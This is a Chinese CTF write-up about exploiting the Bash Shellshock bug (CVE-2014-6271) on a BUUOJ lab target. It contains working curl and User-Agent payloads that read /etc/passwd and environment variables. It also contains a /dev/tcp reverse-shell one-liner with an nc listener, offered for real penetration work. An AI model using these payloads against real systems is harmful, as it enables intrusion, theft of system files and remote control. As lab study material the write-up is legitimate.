讲在前面
对于shellshock漏洞,还是必须要补充一些点的
网上对于这个漏洞的复现教程所剩无几,可能是因为破坏力实在太大,且易于实施。
2014 年 9 月 24 日,Bash 惊爆严重安全漏洞,编号为 CVE-2014-6271,该漏洞将导致远程攻击者在受影响的系统上执行任意代码。GNU Bash 是一个为 GNU 计划编写的 Unix Shell,广泛使用在 Linux 系统内,最初的功能仅是一个简单的基于终端的命令解释器。这意味全球至少 150 万的主机将受到影响,此外 Linux/Unix 世界内的安卓和苹果都难幸免。
题目
在vulhub上有该题的补充说明,知道有一个victim.cgi网页
使用curl -A 或者 -H 参数模拟Http头命令,并调用“cat /etc/passwd”读passwd文件,发送到存在Bash漏洞的docker容器,成功读取到了passwd文件内容。
curl -A "() { echo ShellShock; }; echo; /bin/cat /etc/passwd" http://node3.buuoj.cn:28253/victim.cgi
成功回显
如果是用bp来测试的话
修改http协议中的User-Agent字段为:
() { :; };echo;/bin/cat /etc/passwd
效果是一样的,在此就不上图了
*对于实际渗透过程中,我们可以直接放反弹shell
curl -A "() { :; };echo;/bin/bash -i >& /dev/tcp/监听机IP/1234 0>&1" http://node3.buuoj.cn:28253/victim.cgi
然后起一个nc就欧克
nc -lvvp 1234
对于这道题来说,启动不了反弹shell,没反应,可能是权限问题,那我们直接查看env就可以
curl -A "() { echo ShellShock; }; echo;/usr/bin/env" http://node3.buuoj.cn:28253/victim.cgi
HTTP_HOST=node3.buuoj.cn:28253
!!!没有flag,直接cat /flag也一样,就是没有!一血就这么没了
疯狂吐槽赵总